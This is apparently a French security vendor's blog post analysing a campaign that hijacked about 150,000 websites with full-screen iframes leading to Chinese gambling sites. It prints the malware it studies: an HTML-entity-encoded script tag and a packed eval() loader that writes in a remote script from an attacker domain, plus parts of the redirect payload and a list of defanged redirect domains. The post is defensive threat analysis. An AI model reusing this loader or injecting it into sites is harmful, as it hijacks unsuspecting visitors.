Skip to main content
Blog
Blog Attacks

Plus de 150 000 sites web touchés par un détournement de page entière redirigeant vers des sites de jeux d'argent chinois

Nous estimons qu'environ 150 000 sites web ont été touchés par cette campagne. Le script définit un tableau de mots-clés liés aux paris, aux jeux d'argent et aux marques de casinos, en anglais comme en chinois.

Mar 26, 2025 Mis à jour le Jul 20, 2026 5 min read
150k-websites-article-image-cover
Table des matières

En bref : detournement iframe encode en HTML entity vers marques de paris chinoises a l'echelle de 150K

  • Passé outre le takedown : Tout le monde celebre quand une campagne recolte un titre de takedown. Les attaquants passent juste de 35 000 a 150 000 sites, ajoutent le branding Bet365 pour la legitimite et changent l'obfuscation d'echappements Unicode vers l'encodage HTML entity pour glisser sous les memes scanners statiques qui ont annonce la victoire.
  • Comment il se cachait : Le script par mots-cles comparait les titres a bet365, WilliamHill, 12bet, w88 et aux marques chinoises 宝威 et 太阳城, puis ecrivait un iframe plein ecran vers 888fff.zuizhongyj[.]com et des destinations comme 551007t[.]cc, t399229[.]com et W88in[.]com. cside surveille les injections d'iframe en runtime et le comportement des scripts sur de vrais visiteurs, pas l'instantane statique vu par le crawler.
  • Abandonnez le suivi par domaines : Si vous suivez cette classe d'attaque uniquement via des listes de domaines, laissez tomber cette habitude ce trimestre. L'infrastructure est passee a l'encodage HTML entity et au viewport force par mutation observer, et votre seul checkpoint restant est ce que le navigateur du visiteur rend vraiment.

Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur par cside. Elle couvre tout ce qui suit en un seul déploiement.

En février, nous avons découvert un acteur malveillant ciblant plus de 35 000 sites web avec une injection malveillante de détournement de page entière. Nous avons continué à surveiller les activités de cet acteur et avons identifié de nouvelles tactiques et techniques. Il a considérablement étendu ses opérations : nous estimons désormais qu'environ 150 000 sites web ont été touchés par cette campagne.

Quoi de neuf dans cette attaque ?

Changements d'interface (UI/UX)

L'acteur malveillant a légèrement remanié son interface, mais continue de s'appuyer sur une injection d'iframe pour afficher une superposition plein écran dans le navigateur du visiteur. Voici un exemple de l'une de leurs dernières pages injectées :

Superposition injectée en plein écran montrant la page de jeux d'argent redessinée par l'attaquant

Même si les visuels et la mise en page peuvent différer, la méthode d'injection sous-jacente reste fondamentalement la même.

Extrait de code montrant que la méthode d'injection reste inchangée malgré la refonte de l'interface

Variations sur le même thème

Une autre variante de cette attaque présente un comportement similaire : elle injecte des scripts et des iframes qui usurpent l'identité de sites de paris légitimes tels que Bet365. Dans de nombreux cas, les logos et l'identité visuelle officiels sont réutilisés pour rendre l'attaque plus convaincante.

Fausse page de paris usurpant la marque Bet365 pour paraître légitime

Encodage d'entités HTML dans le code injecté

Dans le code statique, le JavaScript malveillant est injecté ainsi :

<script type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#64;&#112;&#117;&#98;&#108;&#105;&#99;&#47;&#98;&#97;&#115;&#101;&#46;&#106;&#115;"></script>

Il s'agit d'un exemple d'encodage d'entités HTML, une autre façon d'obfusquer du code. Cela rend le script injecté moins évident au premier coup d'œil. Le décodage de cet extrait en texte brut révèle :

<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Balise de script décodée de l'encodage d'entités HTML révélant le payload /@public/base.js
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7  \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))

Vous pouvez décoder du texte encodé en entités HTML à l'aide d'outils gratuits comme CyberChef.

Dans cette attaque, on trouve également du JavaScript qui se décode lui-même en :

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
  '\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22  \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);

Ce qui finit par écrire :

<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>

Les attaquants utilisent l'obfuscation pour dissimuler la véritable nature du script aux analyses rapides ou aux détections moins sophistiquées.

Analyse du payload JavaScript final

Voici quelques points clés du script final :

Logique de détection par mots-clés Le script définit un tableau de mots-clés liés aux paris, aux jeux d'argent et aux marques de casinos, en anglais comme en chinois (par exemple : bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).

Il compare ensuite la balise <title> de la page courante à cette liste :

var keyWord = [
  { key: [...], id: 1 },
  ...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
  a = keyWord[i].id;
  c = '?id=';
  ...
}

Dès qu'une correspondance est trouvée, le script configure un paramètre ID (?id=) utilisé à l'étape suivante de la redirection.

Application de la balise Viewport Le code inclut handleViewportTag();, ainsi qu'un mutation observer et un appel setInterval pour insérer de façon répétée une balise viewport adaptée aux mobiles :

<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">

Cela garantit que la superposition plein écran s'affiche correctement sur les appareils mobiles.

Superposition plein écran + injection d'iframe Le script de l'attaquant crée un <div class="lbb"> qui couvre l'intégralité de l'écran (via CSS position: fixed; z-index: 9999; ...) et injecte une <iframe> plein écran :

var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');

Tout visiteur du site compromis voit la page d'atterrissage de jeux d'argent malveillante à la place du contenu légitime.

Destinations de redirection

Nous avons observé plusieurs URL de redirection lors de l'analyse, notamment :

hxxps://551007t[.]cc/

Page de jeux d'argent chinoise servie à la destination de redirection 551007t[.]cc
Deuxième vue du site de jeux d'argent servi à la destination de redirection 551007t[.]cc

hxxps://t399229[.]com/

Page de jeux d'argent chinoise servie à la destination de redirection t399229[.]com

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

Page d'accès restreint affichée au point de terminaison de redirection wa38di[.]com

(Déjà observé dans d'autres campagnes)

hxxps://W88in[.]com

Page de jeux d'argent chinoise servie à la destination de redirection W88in[.]com

hxxps://b217102[.]cc/

Page de jeux d'argent chinoise servie à la destination de redirection b217102[.]cc

hxxps://g977115[.]com/

Page de jeux d'argent chinoise servie à la destination de redirection g977115[.]com

hxxps://lucky298[.]com/

Plusieurs de ces sites bloquent sélectivement le trafic en provenance de certaines régions, ce qui nous amène à penser que les cibles principales sont des utilisateurs sinophones en Chine, à Hong Kong et aux États-Unis.

Ampleur de l'attaque : 150 000 sites (et ce n'est pas fini)

En exploitant des outils de recherche publics (par exemple PublicWWW), nous avons regroupé tous les sites web qui contiennent l'extrait de script obfusqué. Au moment de notre analyse, nous avons identifié plus de 150 000 sites uniques. Vous pouvez consulter une requête en temps réel de ces infections ici.

Cette attaque illustre comment les acteurs malveillants s'adaptent en permanence, élargissant leur portée et ajoutant de nouvelles couches d'obfuscation. Les attaques côté client de ce type sont en pleine expansion, avec de nouvelles découvertes chaque jour.

Si vous pensez que votre site pourrait être touché, examinez tous les scripts à la recherche d'encodages d'entités HTML cachés ou d'injections d'<iframe> suspectes. Comme toujours, une vigilance constante et des audits réguliers de votre site restent vos meilleures défenses contre ce type d'attaques.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Réservez une démo personnalisée pour voir :

Comment atteindre la conformité PCI DSS 6.4.3 et 11.6.1 en 1 jour
Pourquoi les scripts tiers représentent un risque de sécurité pour vous et vos visiteurs
Comment surveiller les fuites de confidentialité et de consentement (RGPD, CCPA) sur chaque tiers
Comment stopper l'abus d'inscriptions, le partage de comptes et la fraude aux rétrofacturations grâce au device intelligence
Comment détecter et contrôler les agents IA et les bots qui atteignent votre site en temps réel

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau